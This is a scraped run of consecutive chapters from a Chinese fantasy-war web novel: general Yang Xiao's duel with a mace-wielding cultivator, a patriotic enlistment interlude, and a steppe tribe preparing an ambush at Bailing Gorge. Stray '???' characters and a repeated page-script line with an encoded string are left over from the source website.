???????杨笑看到屋内的凶戾男子后也是一愣:“这可真是老天爷给送的一份大礼!”原来狄绒族人竟将这里用做中军大帐,而眼前之人正是狄绒族大军的统兵将领。 ???????不过当他把目光移向屋内的另一个人时,他的眉头立刻皱紧了起来。那个让杨笑紧张的人正是那名青年男子,此时的他正把全身的气机放开,那等强劲气势比起那天夜里的古怪黑袍人也只是弱了一丝丝而已。 ???????杨笑缓缓抬手沉声挥退了身边的众将士:“你们都退到外面去,快!” ???????那青年望着杨笑轻笑一声:“葛尔图将军,你下去休息吧,这里交给我。” ???????“就是此人带着一头野兽杀了麻氏兄弟,你小心点。”葛尔图答应一声后消失在屋子里的屏风后面。 ???????“你就是那个叫做杨笑的家伙吧?你的小老虎呢?”青年歪头看着杨笑问道。 ???????那天那个差点要了自己命的古怪黑袍人至今都让杨笑心有余悸,面前之人并不比那黑袍人逊色多少,杨笑丝毫不敢掉以轻心。他握紧了手里的刀,一声不吭的盯着那青年。 ???????“果然没有丝毫气息向外泄露,你倒底是什么身份?”青年又问道。 ???????“你的问题有点多。”杨笑可没心情跟他客气。 ???????那青年自始至终都抱着双臂,听到杨笑的话后他一摊手,无所谓道:“好吧。等我杀了你以后应该就能知道了。” ???????“那也要看你有没有这个本事。” ???????青年扯动嘴角露出一个邪异的笑容来:“那就要打过才知道喽!”青年说着从腰后抽出两根金丝亮银的四棱长锏来。 ???????杨笑见状立刻绷紧了全身的肌肉,将一身气机运行到了极致。 ???????俗话说:先下手为强,后下手遭殃。杨笑见那青年取出兵器立刻双足一踏,挥动手里的长刀率先劈了过去。 ???????那青年将双锏交叉在身前轻笑一声:“自不量力!”把双锏举过头顶架住了杨笑这当头一刀。 ???????杨笑刀锋受阻,立刻抽刀回身,在半空中一个翻身后向那青年的当胸一脚踏出。那青年不慌不忙,只是把双锏下移几分就又挡住了杨笑的这一脚。随后他双锏发力将杨笑推了出去,杨笑顺势一跃又退回到门口的位置。 ???????那青年轻哼一声:“这下轮到我了。”说着双足发力一跃而出。这一脚力道惊人,连他脚下的地板都被踏了个粉碎。像这样的力道其实杨笑也能做到,但远没有对方这般轻松。 ???????那青年像一根过年时燃放的二踢脚似的来了个原地起飞,直射向杨笑。他的速度真是快的惊人,杨笑只来得及把刀挡在身前,然后就被他给撞出了门外。 ???????“啪”的一声,屋门破碎,杨笑从屋里倒飞而出落在院子的中央。落地时身上的力道依旧没有卸干净,杨笑双足着地,在地上犁出两道深过脚踝土沟来,把院子里的地砖都给掀开了一片,一直退了有一丈多远这才停了下来。到此时杨笑也依旧是保持着一手抵住刀身横刀于胸前的姿势。 ???????那青年迈步走出了屋门,看着院子里的杨笑他开口打趣道:“哟!身板挺硬的嘛。” ???????此时杨笑轻吐出一口气来,压下了体内不断翻滚的气机,而他手里的刀这时候也发出“咔嚓”的一声脆响,碎成了几截。 ???????眼前之人比起那夜的古怪黑袍人来说虽然在外露的气机上稍弱了一分,但从刚才这一脚的威力来看,此人的厉害程度比起那黑袍人可是强了不止一点。杨笑的神情不由的又凝重了几分。 ???????“杨将军!……将军……将军……。”一见杨笑吃了亏,四周的西梁军全都关切道。 ???????杨笑一挥手:“不用管我,做你们该做的事。” ???????那持锏的青年鄙夷道:“哼!还真是自不量力呀,那就让我来好好教训教训你吧!”说完就挥锏扑了过来。 ???????杨笑双足连踢,几块地砖夹带着风声接连朝那青年飞去。青年伸锏将飞来的地砖打碎,但飞溅的碎石还是影响了他的视线,等他再次看清杨笑的时候,杨笑已经冲到了面前一拳打来。 ???????杨笑赤手空拳,那青年手中拿着一对长锏,看似杨笑有些吃亏,但二者此时贴身相搏,青年手里的长锏反而有些发挥不出威力来,成了个不大不小的累赘。相比之下,杨笑的一双拳脚就要灵活的多了。 ???????几个回合下来,持锏青年也意识到了眼下的境况,几次想要与杨笑拉开距离却始终难以如愿。杨笑步步紧跟,二人的速度都不慢,拳脚相交间直打的旁人眼花缭乱,不过貌似杨笑稍稍的占了点上风,逼的那青年连连后退。 ???????那青年虽说稍居下风,却也防守的甚是严密,到现在为止,大体上来看二人算是打了个旗鼓相当。不过百密还有一疏,防守的再好也有一招不甚的时候。这不,持锏青年一个不甚被杨笑绕到身后一爪(诸位看官老爷,这个字在这里念zhao不念zhua)直袭后门,险些就被他掀翻在地。那青年脸色一变,连忙就势在地上一个翻滚跃到了一边。虽说吃了点小亏,样子也有点狼狈,但好在总算是跟杨笑拉开了距离。 ???????青年站定后一手捂着屁股一手拿长锏指着杨笑恼怒道:“你这是什么下三滥的招式?” ???????这其实也不能怪杨笑,必经从他习武以来,有许多招式都是跟着山里的猎户学的,刚才这一招就是猎户们在抓捕野兽时常用的招式。山里的野兽在被抓时或多或少的都会进行反抗,但不管是什么野兽,它们都有一点弱点,那就是尾巴。野兽们也深知这一点,它们在打斗中会极力的避免被人切了后路,尤其是那些小兽,一旦被猎人抓住尾巴倒提起来,就只剩下扭动着身躯发出一声声尖叫的份了。 ???????杨笑一击得手,自然是要抓住机会扩大战果,哪里还有心情跟他啰嗦,迈动脚步就迎了上来。 ???????那青年见杨笑并不不理会自己,于是怒哼一声,把两根长锏并在一起变成一根“短棍”抓在手中与杨笑又斗在一起。 ???????“短棍”确实要比两根长锏灵活许多,杨笑再也难以在贴身搏斗中占到什么便宜了。几招过后青年抓住机会一脚踏向杨笑当胸,杨笑双臂并拢接下这一踏,同时借住这一脚的力量向后飞身而退。 ???????杨笑在空中一个翻身落到了院子里的连廊下,持锏青年一步踏出追着杨笑打了过来。杨笑反身抱住连廊里的一根柱子,两脚站定,全身发力,“哗啦”一声把那根柱子就给拆了下来。 此时持锏的青年刚刚走到一半,杨笑上前一步,“呀!”的一声大吼,把那根一搂粗的柱子抡圆了朝那青年打去。 ???????“嘭!”那青年就像一个沙包一样被打了出去,撞倒了一根屋檐下的柱子,又撞倒了一堵墙,一直撞到了屋子的后墙才停了下来。 青年扶着身边被撞烂了半边的桌子,从一堆砖头瓦块里站起来。刚往地上啐了一口唾沫就看到杨笑抱着那根柱子,像一头野牛一样从满是烟尘的墙洞里冲了进来。 ???????“轰轰轰……。”青年被柱子抵着胸口,一路上也不知道撞塌了几座房屋,直到被杨笑抵在厚重的驿墙上才停了下来。 ???????修行者的身躯强横无匹,即使被打成这样,那青年也只是从嘴角流出细细的一丝血线来,算是受了点不轻不重的小伤。 ???????那夜黑袍人的刀枪不入,在杨笑的认知中,就好比普通人穿了一身厚重的铠甲,类似这样的防御通常只能防御箭矢、刀枪一类的利器,却防不住重锤、大棒这一类傻大粗苯的重器攻击。但眼前的青年却似乎并不怕这种攻击,都被杨笑怼成这样了,除了样子比较狼狈外,却也只是受了这么点无足轻重的小伤。杨笑这下算是对修行者的身躯又有了一个新的认识,他瞪大双眼惊讶道:“这么抗揍?” ???????在一个比自己境界低这么多的家伙手里竟然接连受创,还把自己打的这般狼狈,这一结果让那青年恼怒到了极致。只见他大吼一声挥起双锏,三两下就把抵在自己胸口上的柱子给打成了几截。杨笑见势不妙连忙撒手后撤,一个跃身跳到了后面的房顶上。 ???????那持锏的青年刚要追击,就见杨笑从背上解下来一件东西,抖开包在外面的布条后,露出来一根三尺来长,长满了像纸片一样的长毛的兵器来。正是那黑袍人的哭丧棒。 ???????自从接连碰到这些神密的修行者以来,杨笑就感觉到除非是对手修为太低,或是他们丧失斗志,否则的话一般的兵器是很难伤到他们的。自己又没有举世罕见的神兵利器,不过好在在前些天的战斗中得了几件属于修行者的兵器,虽然用起来不顺手,但有总比没有的强。这次行动之前杨笑就把这件看上去有点不太吉利,但使起来勉强还算将就的兵器给带上了。 ???????那持锏青年一看到杨笑手里的兵器便停住脚步沉声疑惑道:“鬼修?” ???????杨笑听到“鬼修”两个字才知道,原来在修行者的世界里,那个不人不鬼的古怪黑袍人被称为“鬼修”。他抖了抖手里的哭丧棒问道:“你是说这个吗?” 杨笑说着把那根哭丧棒横在身前,手上一运劲儿,嗓子里发出“嗯”的一声。但那根哭丧棒上的纸片却并没有像在那个黑袍人的手里那样根根竖起,而是仍然像一团普通的纸片一样,耷拉在那儿随着夜风晃来晃去的。 ???????青年看到这里似是松了口气:“原来不是鬼修。” ????????“哼!那又怎样?照样把你打的满地找牙。”杨笑冷哼一声。 ???????“找死!”那青年怒喝一声。就在他正要飞身而上向杨笑发起攻击时,一根箭矢从一侧向他射来。 ???????持锏青年随意一摆手里的长锏就将那根箭矢挡下,扭头看时,见是一个西梁军卒正在街巷的拐角处重新张弓搭箭。 青年冷声道:“小小蝼蚁也来找死。”说着一抬手,手里的长锏就向那名西梁军卒激射而去。 ???????那根长锏就像长了眼睛一样正中军卒当胸,军卒闷哼一声倒在地上没了气息。青年嘴唇蠕动然后一招手,长锏又像是知道自己回家一般又飞回了青年的手里。 ???????这一幕让杨笑心中震惊无比,此等手法简直就是神仙手段,反正自己是万万做不到的。 ???????“这还怎么打?” ???????就在杨笑心中震惊之时那青年低吟几声又一甩手,长锏又向杨笑飞射而来,杨笑连忙朝一边躲闪。“嘭”的一声,长锏将杨笑刚才站立的房顶给戳了个脸盆大的窟窿。不等杨笑站稳,那长锏就倒飞而回,紧接着就又是另一根长锏飞了过来。 ???????杨笑一躲再躲,但一味的躲避总归不是办法,就在长锏再一次飞来时,杨笑把心一横,握紧了手里的哭丧棒用力挥了出去。锏棒相撞,溅射出一片火星来。 刚挡开这一根长锏,另一根长锏就又飞了过来。 ????????现在攻防易位,杨笑成了防守的一样。但就像先前的贴身肉搏一样,杨笑一味的防御也同样会有疏漏的时候。这不,一个不甚,杨笑被长锏戳中后心,在一片霞光闪耀中被打了个跟头,从屋顶上掉了下来。 ???????杨笑身上忽然亮起的五彩霞光让那持锏青年也是颇感意外:“修为不俗却不会使用灵器,身上又有宝物护身,你倒底是什么身份?”青年收回长锏问道。 在修道之人中,但凡能有宝物护身的都不会是什么普通人物,青年不得不慎重。 ???????因为有那片五彩霞光的保护,杨笑虽然被那青年的长锏打中,却并没有受到什么伤害。他压了压胸口中有些翻滚的气血说道:“你觉得我会告诉你吗?” ???????“那就不能怪我了!”青年一边向前迈步一边恶狠狠的说道:“放心,我会给你留个全尸的。” ???????就在杨笑准备再次与那持锏青年恶斗一场的时候,四周突然响起一连串的破空声,数不清的箭矢噼里啪啦的射了过来。持锏青年的身躯虽然强硬过人,但还没有到可以完全无视强弓硬弩攻击的地步,他挥动双锏挡开一波又一波的箭矢,不奈烦道:“真是一群烦人的蚊子。” ???????“住手!否则我就杀了他。”就在那青年准备要大开杀戒的时候,一个声音突然响起。 ???????青年扭头看去时,见葛尔图已经被按在了地上,一把明晃晃的钢刀正架在他的脖子上。仗打到这个时候,整个柳林驿已经被西梁军控制在手里了。 ???????“救我,快救我。”受伤被俘的葛尔图求救着。 ???????“没用的东西!”持锏青年埋怨道。说完一锏飞出就给葛尔图来了个透心凉。 ???????狄绒族的统兵首领葛尔图看着插在自己胸口的长锏,很快的就没有了生机,他到死都难以相信自己会死在自己人的手里。 ???????见手里的人质被那青年一锏杀掉,在场之人全都警惕了起来。谁也没有想到那青年手段非凡不说,出手竟也如此果决,若是他执意要来个鱼死网破的话,只怕今晚会是在场所有人的恶梦。 杨笑也打起了十二分的精神,以防这持锏青年爆起伤人。不过令所有人都没有想到的是,那青年刚向前走了两步就忽然停在那里,皱起了眉头向远处望去,嘴里不知道还嘀咕了句什么。青年收回目光后便把长锏收起,然后冲杨笑丢下一句:“我们还会再见面的!”就飞身离开了。 持锏青年的离开无疑使众人松了口气。率先反应过来的杨笑连忙命众人清除残余守军,接应大军。 ???????……处在谷口的两万狄绒族人失去了与后方的联系,很快就被西梁军打败了。没了统率的指挥,狄绒族人溃不成军,死伤无数,一直退到了蘑菇岭,凭借着地势关隘的帮助才算稳住了阵脚。这一仗西梁军可以说是大获全胜。 ???????虽然打了一个胜仗,但狄绒族人并没有被赶出青铜峡,西梁境面临的危机依然没有获得彻底的缓解,到底杨笑还会遇到哪些麻烦事?西梁境的危机又是否能够得到解救? ???????欲知后事如何,且听下回分解! ??????? ??? ??????? ??????? ??????? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十七回 我有一颗爱国的心 我有一颗爱国的心????? ???????北面大散关的战事陷入了胶着状态,西面飞石城的战事越发的坚难,南面的雪藩族攻破了望山府,形势对西梁越发的不利了。整个西梁境,整个大周王朝全部动员了起来,各地的兵马全都在扩充兵力并陆续开往西梁边境。 ???????一叶小舟划开茂密的荷叶轻轻的停靠在岸边,渔船上身材健壮的青年帮着渐显年迈的父亲整理着一天的收获。今天的运气不错,父子俩收获满满,等会儿拿到集市上一定能卖个好价钱。这可是一家老小赖以生存的生计。看着鱼篓里活蹦乱跳的鱼儿,父子二人的脸上洋溢着满足的笑容。儿子终于长大了,自从能帮着忙活家里的活计后,自己肩上的担子也轻生了许多。等再过两年托村里的刘媒婆给儿子说上一房媳妇儿,来年再抱上个大孙子,到时候自己这个当爹的也算是完成任务了。 ???????“哐!哐!哐!蛮夷进犯,边关告急!大好男儿当驱除鞑虏!哐!哐!哐!望山府惨遭屠城,大好男儿当护我疆土!哐!哐!哐!石头城危在旦夕,大好男儿当上阵杀敌!哐!哐!……。”村里的保正一边敲着锣,一边喊着县里头下来的告示上面写的话,渐渐的走远了。 ???????听到保正呼喊的声音,青年脸上的笑容渐渐的收了起来。正低头忙碌的渔夫发觉儿子的异常,抬头看到儿子正扭头盯着保长离开的方向。他明白儿子的心思,自从在县城的城门口看到那张朝廷的告示后他的心思就已经不在这里了。 ???????盖上鱼篓,渔夫坐在船舷上从怀里掏出旱烟来抽了一口:“叭嗒、叭嗒……咝……刚换完皇帝,又赶上这帮蛮夷来捣乱,真是一天安生日子也不让过。哎呀……皇帝是个好皇帝呀,抓壮丁也抓的这么温柔……。”不知怎么地,渔夫嘴里明明说着称颂皇帝的话,可里里外外却总是透着一股异样的感觉,让人听了就会觉得有一种很是伤心的情绪在里面。 ???????青年回过头来深呼吸了一口气,他轻轻的却很认真的对渔夫说道:“爹,我还是想去。” ???????渔夫把烟灰磕进了水里,他叹了口气:“唉!去吧,去吧……我就当……养了头毛驴儿……没养成……。”渔夫的话说到后面已有些哽咽。 ???????青年跪下来给父亲磕了几个头:“父亲常常教导国是大家,家是小家,没有了大家,小家的日子也不会好过。孩儿不孝,照顾二老的事情就交给弟弟妹妹们吧!”青年起身后头也不回的往保正离开的方向追去。 ???????青年的身影消失在视线里后渔夫依然朝那个方向望了许久许,末了他把目光缓缓的转向自己那条有些伤残的腿,那里有一条长长的刀疤。渔夫再次叹了口气道:“唉!你说你没事老跟他说这些个干什么呢?”……。 ???????青翠的大山养育了最朴实的山里人。樵夫担着柴经过城门口时看到很多人都围在那里议论着什么,樵夫是个爱凑热闹的人,他也围上前去想看看这里又发生了什么有趣的事。 ???????“哎呦!望山府竟然被屠城了!真是可惜了那一城的百姓们呀!” ???????“守城的将士们还有满城百姓与藩狗备战多日,到最后一刻也没有一人投降,此等悲壮之举真是可歌可泣呀!” ???????“是啊!是啊!”议论声中不断有人附和。 ???????“我看这大散关和石头城也是岌岌可危啊!” ???????“谁说不是呢?我大周这些年这是怎么了,以往哪容得这帮蛮夷们如此猖狂?” ???????“就是,就是……。” ???????人群中议论声不断,看守告示的人见众人的议论声不断,便站出来高声道:“众位父老,蛮夷们侵我疆土,杀我百姓,我大周已危在旦夕!凡我大周的大好男儿皆应奔赴沙场杀敌卫国,为我死去的百姓复仇!……!” ???????看守之人一番慷慨激昂的言词惹的群情激愤:“杀光他们!……报仇!……报仇!……。” ???????看守之人见时机已到又高声道:“陛下仁慈,不忍强抓我等前往疆场,而是希望我大周的男儿们能够主动应召,护我家园,为我战死的将士们报仇!为我惨死的百姓报仇!……。” ???????一时间人群的情绪达到了高潮,众人全都振臂高呼:“报仇!报仇!……。” ???????“我这里有帐册笔墨,有要为我大周天下出一份力的走上前来,天下大定之日朝廷定不辜负诸位。”看守之人恰到好处的拿出笔墨纸砚来。 ???????樵夫首先放下肩上的担子上前道:“我来!” ???????“壮士好气魄!这位壮士可报上姓名居所,朝廷定会照顾你家中老小。” ???????“哪有什么老小,我一个人吃饱了全家不饿。要是死在了疆场上也不用朝廷照顾谁。”樵夫一挥手回道。 ???????“壮士真是豪爽之人!”看守之人连叫两个好字说道。 ???????“一介山野村夫也有如此壮志,我等读书人又岂甘落后!”两个穿长衫拿扇子的人随即说道。 ???????“老朽虽说年迈,也跨不得马,也提不动刀,但好在还有微薄财力,愿为我大周天下出一份绵薄之力。”一位头上生有丝丝白发的老翁说着将一大锭银子放在了桌子上。 ???????众人纷纷上前有钱的出钱有力的出力……。 ???????老黄牛喘着粗气一犁一犁的耕着脚下的田地,铁塔一般的青年嘴里呼着号子,一手扶犁一手扬着手里的鞭子。 ???????“老白!村头的刘二狗去了,我不能输给他。你要不要一起去?”一个与耕田青年年纪相仿的青年站在一个高土堰上喊道。 ???????“啊!”青年丢下手里的使牛鞭就向自己的同伴跑去。 ???????在前面牵牛的老农夫大声的喝止道:“你去哪儿?你个混小子你给我站住!” ???????青年头也不回的边跑边喊道:“爹,你放心,我一定会回来的。儿子决不给您丢脸。” ???????“不许去!……。”老农夫见劝不住儿子只好又喊道:“你等会儿,你喝口水再走!……。” ???????尽管他用尽了力气的喊着,甚至喊到后面都硬咽着说来出话来了,可儿子还有头也不回的走了……。 ???????有热血书生毅然掷笔从戎,书院的老先生为其泼墨作赋,众同窗举杯相送,并约定来日沙场之上相会时定要饥餐胡虏肉,渴饮匈奴血……。 ???????妻子一把从背后抱住自己的男人:“我不让你走!” ???????可丈夫却轻轻的说道:“天下兴亡匹夫有责!这种时候我又怎么能置身事外呢?” ???????妻子却依然死死的抱住丈夫,把头抵住他的后背一个劲儿的摇着头。他用力转过身来扶着她的双肩又说道:“好好把孩子养大,我要是死在战场上的话,尸首就不用运回来了,省得你看见了又要伤心。”不等他把话说完妻子已然泣不成声,哭成了一个无声的泪人儿。“我不是一个好丈夫,跟着我让你受了这么多的苦,要是有下辈子的话……我再好好补偿你吧!” ???????突然妻子感觉到肩上一空,等她睁开眼抬头看时丈夫已经背着行囊提起长枪走到了门口。妻子快步追上去,但丈夫的脚步更快,等她追到门外时丈夫已经翻身上马出了大门。她大声叫着想让丈夫等一等自己,哪知丈夫骑在马上回头说道:“我要是回不来了你就重新找个好人家吧!”说完双腿一夹马腹头也不回的走了。 ???????妻子流着眼泪追出大门外,丈夫的马已经拐上了大路,等她跑到大路上时,丈夫的身影已然走的很远了,她用一双泪眼望着丈夫远去的身影用尽全身的力气大喊道:“你一定要回来!”她歇斯底里的喊着,也不知道消失在烟尘里的丈夫听到她的声音了没有。她就这样跌坐在大路旁,痴痴地望着丈夫远去的方向许久许久……。 ???????天下兴亡,匹夫有责。当国家和民族遭受危机和灾难时,我辈青年当挺身而出,救国家于危难,救民族于危机。各位读者朋友,请不要小看了自己个人的力量,个人的力量虽小,但星星之火可以燎原,我们每个人都是民族的未来,每个人都是民族的希望。愿各位在接下来的每一天都对未来充满希望! ???????致此???共勉! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十九回 遇伏白羚峡 西梁军一路追到了蘑菇岭下才收兵回城。不是杨笑不想一鼓作气夺回蘑菇岭,实在是狄绒族人数倍于己,又有地利做倚仗,杨笑也是心有余而力不足。 这一仗,最大的战果就是斩获了敌军的统兵首领:葛尔图。想来在他们的新统领到来之前,狄戎族的人马是不会有什么大动作了。 ?沿途布下几处警哨后杨笑率军返回了大散关。 青铜峡暂时不会有什么大问题了,是时候关注一下另外两处战场了。不过在这之前杨笑还需要解决另一个摆在眼前的不大不小的问题。 一个小小的柳林驿就碰到了持锏青年那样的硬茬子,再往后还不知道会有什么厉害人物等着他呢?那些还没露面的家伙很可能也会有一些非人的手段,尤其是他们手里的兵器,不是坚固无比,就是削铁如泥,简直就是世间难寻的神兵利器。反关自己手里的兵器,在这些神密的修道之人面前真的是脆弱不堪,轻易就被人家给打坏了。 “要是有一件趁手的兵器就好了。”杨笑这样想着。 屋子里,杨笑摆弄着手上那根怎么看都让人隔应的慌的哭丧棒,想着那持锏青年说的话:“不会使用灵器?”他在心里不住的琢磨道:“怎么会有人拿这么不吉利的东西当做兵器呢?还要什么使用的方法……?”不过仔细回想一下,这件东西在那黑袍人的手里确实跟在自己手里不一样。 “说不定还真是有什么使用的窍门。” 杨笑在那儿摆弄了半天,试了个不待试,也没见有一星半点的效果。就在他有些灰心丧气的时候,一名侍卫敲响了杨笑的房门:“将军。” ?“什么事?” ?侍卫走进来双手递上两封密报后躬身退了出去。 杨笑打开一个信件,里面的消息对杨笑来说真的很及时:“京西五州集结的三十余万大军已然通过二山关进入了西梁地界,不日就会到达。另外从兖州城出发的各路诸侯联军,在集结了沿途各州府的人马后也已经离二山关不远了,用不了多少天就会越过两界山。” 杨笑看着手里的军报,压在心头多日的阴郁终于消解了许多。不过当他打开第二封军报的时候却是被惊的豁然起身:飞石城失守,封常青身受重伤!雪藩族已夺下望山府全部大小城池,兵抵贡州府! 封常青做为抵挡西线狄绒族大军的绝对核心竟然身受重伤,可见西线的战事得有多惨烈。封常青重伤,西线大军群龙无首,西梁城危在旦夕! 杨笑看完密报后立刻走出房间,把大散关的防务交给飞狐州刺史,然后招呼一声小黑便急匆匆的离开了。 一路飞奔,刚出了飞狐州地界,就见一匹快马迎面而来,是一名传递紧急军情的骑卒。杨笑胯下的黑虎是他在西梁军中,乃至整个大周王朝军中给人印象最深刻,最显眼和最易辨认标志。 远远的看到有人骑一头黑色猛虎飞奔而来,那骑卒不假思索便喊道:“杨将军!杨将军留步!……。” 杨笑听到来人呼唤忙迎上前去,那骑卒来到跟前后从怀里掏出一封密报来。那密报上写着:藩族大军对贡州城围而不攻,转而将相邻两县攻破,所过之处尽皆被屠。 三处战事,唯有杨笑所在的大散关非但没有后退半步,反而还有所小胜。现在藩族大军对贡州府围而不攻,这一举动大抵是想要吸引杨笑前去救援贡州府,因为那里有杨笑的家。对此杨笑也是心知肚明。理智告诉杨笑,藩军此举定是策应青铜峡和西梁城外的狄戎人,西梁城才是他们真正的目标,现在最要紧的就是马不停蹄的赶到西梁城并守住它,直到援军到来。可贡州府有自己的家人,她们是自己在这个世界上最后的亲人了。军报从贡州府送到这里有一段不近的距离,也就是说,这件事情已经发生好几天了,贡州府现在是什么情况?东仓县怎么样了?姐姐她们现在的安危又如何?是为一己私情去解救亲人?还是顾全大局赶往西梁城?杨笑一时陷入了两难的境地。? 就在杨笑左右为难之际,忽见远处的小山丘后一道烟尘腾空而起。那道翻腾的烟尘渐渐的向杨笑这边靠近,拐过小山丘后,有一道道人影出现在杨笑的视线里,正是先前军报里提到的京西五州的三十多万援军的前锋到了。 看到这支援军后杨笑的心里便有了决定。他向身边军卒说道:“你去通报各处,就说今日起由我接管西梁军务。”那骑卒没有任何犹豫立刻领命而去,必经杨笑手持西梁虎符在大散关拒敌早已不是一两天的事情了。 传送军情的骑卒离开后,杨笑迎上赶来的援军,亮出西梁虎符:“虎威将军杨笑在此,京西五州兵马听我调遣!” 领兵的将领多半都是原来的西梁将领,对杨笑和他胯下的猛虎是再熟悉不过了,见到杨笑手里的虎符后,众人立刻下马参拜:“未将听命! 杨笑命令道:“立刻分出十万兵马火速驰援贡州城,其余人等随我赶往西梁城。” 贡州府所处的关西平原是西梁界极富庶之地,地广人多,城高池深,物资福足,就算西梁王东征时抽调了不少力量,但那也不是藩族人说打就能打下来的。有了这十万兵马的增援想必能让贡州府的形势暂时稳定下来。 简短的交接后,大军兵分两路而去。 …………。 西梁城外五十里处,一骑快马踏破烟尘,一溜烟的跑上了一座十来丈高的土坡。土坡上正有一队装备精良的骑兵等在那里。为首几人高眉弓,深眼窝,高鼻梁,浓眉大眼,厚嘴唇。这般长相与周王朝之人大相径庭,不是狄戎族人又能是什么人。 一名探子从马背上跳下来:“禀告首领,周人的援军已经过了坎子口。” 这些狄戎族人全都来自狄戎族七大部落之一的泽达部落。 首领泽达康听到那探子禀报的军情后微微颌首嗯了一声:“来的倒是挺快的。泽铎,为我们远道而来的朋友们准备好晚餐了吗?” 泽达康首领头也不回的问。 在他身侧落后半个身位的年轻人是他最为喜爱和信赖的二儿子泽铎。 “父亲,晚餐准备的很丰盛,相信我们远道而来的朋友们会喜欢的。” 想到敌军马上就要掉进自己布置好的陷阱里让自己随意屠杀,泽铎的脸上已经洋溢起抑制不住的兴奋来。 “那就好。”一丝满意的目光从泽达康首领的眼睛里流露出来,他的这个儿子从来没有让他失望过:“让远道而来的朋友乘兴而来,尽兴而归是我们泽达部落一向的传统。” “父亲,据青铜峡那边传来的消息,葛尔萨的部落在青铜峡受到不小的损失,就连他负责领兵的大儿子也死在了周人的刀下。” 葛尔萨统领的部落跟泽达康所在的部落同是狄戎族七大部落之一,两个部落明争暗斗了不知多少年,是世代的对头,要不是现任狄戎族大王的强势压制,两个部落恐怕还要时不时的上演一场流血事件来。 “哼哼”泽达康冷笑一声:“葛尔萨那个老匹夫也有今天,这还真是一件喜事呢!”一听到自己的老对头倒了霉,幸灾乐祸的表情就爬上了他的脸:“等收拾了眼前的这些周人后,可要要好好的喝上一杯。” 他口中的喝上一杯,可不光是为了庆祝眼前即将到来的胜仗,更多的,是为了祝贺自己的老对头倒了大霉。 “父亲,葛尔部落贻误军机,又在青铜峡受了这么大的损失,大王一定会震怒,这可是咱们打压他们的好机会。”泽铎的眼睛里闪动着兴奋的目光。 “呵呵……还真是一个好机会。”老泽达康捋着胡须笑道。 “父亲,咱们可要把握住这次机会,好好的让他们吃点苦头。” “如此难得的好机会咱们当然要好好把握。” “父亲,您说葛尔部落这次会不会被咱们彻底打垮,从此一蹶不振。”泽铎一脸快要按耐不住的兴奋。 父子二人你一句我一句的说着。 泽达康轻轻摇头:“难!必经他的儿子把命也丢在了那里,更何况还有那个狐狸精!” 一提到那个女人,泽达康不由得就在心里生出一股恨意来。 这时一骑探马飞奔而至:“启禀首领,周人的先头部队已经进入了包围圈。” “好!晚餐就要开始了。瓜尔达,忽突鲁,剩下的就看你们几个了。” 身后几人答应一声后策马离去。 …………。 京西五州二十多万大军的先锋就像一条巨蟒一般,一直蜿蜒出很远的距离,就算只是先头部队也是一只不小的力量,想要一下子吃掉这条庞然大物,狄戎族人也要下不小的本钱。 先锋官钱桧与杨笑并肩而行,一边走一边与杨笑讨论着当下的局势:“……往后的形势会更加困难,区委指示,叫我们村自为战……。” ……啊呸!不好意思,剧本拿错了。 “……当下形势对我西梁极为不利,不知将军作何打算?” 钱桧是将门之后,祖上曾随高祖皇帝征战四方,为皇朝的建立可以说是立下了汗马功劳。高祖登基后被封为善县郡侯,世袭三代,后因三世侯另有功劳又延袭一代,善县也因此更名为钱善县。四世之后虽说没了郡侯的爵位,但钱氏并没有就此没落,后世子孙反而知勇奋进,在文武两条仕途中率出人才,像三品的金紫光禄大夫,还有三品怀化大将军之类的文官武将还是出过那么一两位的。到了钱桧这里,先是投到西梁王麾下,后又调回关内,成就不高,但也不算低,是一个正四品的怀化中郎将。以他的资质人脉,相信用不了多少年就会再进一步,进升三品武将。这样一来,等他钱桧百年之后,在家族的宗祠里也会有一个不低的排位。 这个钱桧在治军布阵,领兵作战上还是很有几份真本事的,要不然他也不能在以善战能战而闻名的西梁军中混出一番名堂来,从而荣归故里的。一路上与他一番相互交流探讨,让杨笑也是受益不少。而杨笑这些年勤读兵书,又受李伯通、马致远、封常青这等西梁名将的言传身教,再加上亲率大军一路打过分天岭,直打的东安王都无力招架,可见其在军事素养这方面那也绝对不是什么花架子,言语之间也是让钱桧不止一次的茅塞顿开,眼前一亮。 就在二人边走边谈之际,杨笑忽然轻拍两下小黑的虎背,止步不前。钱桧见状不解道:“杨将军,可是有什么不妥?” 杨笑向前张望一下,说道:“前面就是黄土岭了。” 钱桧疑惑道:“黄土岭?黄土岭……”钱桧猛的一惊道:“可是那个有着白羚跃涧,十里一线之称的黄土岭?” “正是。”杨笑点点头。 钱桧眉头一皱,扭头望向前方喃喃道:“竟是到了这里……。” 杨笑微微一笑安慰道:“钱将军离开西梁多年,乍回故地一时有点眼生情有可原。” 钱桧在心里自责一声,索性他也不是什么小性情的人,也不在这件事上过多纠结,转而正色道:“杨将军是担心……?” 杨笑点头道:“不得不防。” 说起这黄土岭,听名字也知道不是什么高大险峻的名山大川,而是位于西梁城东面的一片丘陵地带,属于台阶山众多支脉中延伸出来的余脉。 黄土岭虽不高大,却是沟壑纵横,小有几分陡峭,岭中有一条白羚峡横穿其中。峡谷曲折蜿蜒,两侧高高低低的崖壁有如刀削,最窄处不过十丈多宽。 在这里有着白羚群从峡谷上一跃而过的传言。白羚跃涧的传说不知真假,但据史书上记载,这里曾是潮天河的故道。数百年前,因为地牛翻身造成河道堵塞,潮天河改道向南绕黄土岭而行,只留下这道曲曲弯弯的十里长峡。千万年的冲涮使得河道内的地势相对平坦,比起翻山越岭,绕道远行的旧官道简直方便太多,因此这里慢慢的就成了沟通西梁城与二山关的重要陆路通道。 二人正说话间,一骑快马飞驰而来。 那名斥候勒住马缰道:“禀将军,前方黄土岭尚未发现敌情。” 